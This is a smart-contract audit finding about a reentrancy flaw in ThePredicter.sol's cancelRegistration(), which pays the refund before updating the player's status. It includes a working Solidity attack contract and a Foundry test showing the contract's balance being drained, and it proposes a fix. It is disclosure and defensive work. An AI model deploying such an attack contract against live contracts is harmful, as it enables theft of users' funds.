Summary
An attacker can register, then call cancelRegistration and reenter the contract because CEI standard is not followed.
Vulnerability Details
An attacker creates a malicious contract.
the malicious contract registers on the platform
then call cancelRegistration() in ThePredicter.sol.
the concelRegistration makes a fallback call to the malicious contract.
in the fallback the malicious contract makes another cancelRegistration() call to ThePredicter.sol because the CEI rule was not followed the malicious contract will keep withdrawing its entrance fee until ThePredicter.sol balance is less than the entrance fee.
Add this the src folder
pragma solidity 0.8.20;
import {ThePredicter} from "./ThePredicter.sol";
contract ReentrancyAttack {
ThePredicter public thePredicter;
uint256 public entranceFee;
constructor(ThePredicter _thePredicter) {
thePredicter = _thePredicter;
}
function attack(uint256 _entranceFee) public {
entranceFee = _entranceFee;
thePredicter.register{value: entranceFee}();
thePredicter.cancelRegistration();
}
fallback() external payable {
if (address(thePredicter).balance >= entranceFee) {
thePredicter.cancelRegistration();
}
}
}
Add this to the test folder and run forge t --mc AuditTest --mt test_reentrancyAttack -vvvv
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
import{ReentrancyAttack} from "../src/ReentrancyAttack.sol";
contract AuditTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
ReentrancyAttack public reentrancyAttack;
uint256 private constant START_TIME = 1723752000;
address public organizer = makeAddr("organizer");
address public stranger = makeAddr("stranger");
address public player = makeAddr("player");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
reentrancyAttack = new ReentrancyAttack(thePredicter);
vm.deal(address(reentrancyAttack), 0.04 ether);
}
function test_reentrancyAttack() public{
vm.deal(stranger, 1 ether);
vm.deal(player, 1 ether);
vm.prank(player);
thePredicter.register{value: 0.04 ether}();
vm.prank(stranger);
thePredicter.register{value: 0.04 ether}();
vm.startPrank(address(reentrancyAttack));
reentrancyAttack.attack(0.04 ether);
assertEq(address(reentrancyAttack).balance, 0.12 ether);
}
}
Impact
An attacker can drain all the funds in ThePredicter.sol
Tools Used
Manual code review
Recommendations
The CEI should be followed in the cancelRegistration() function in ThePredicter.sol
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
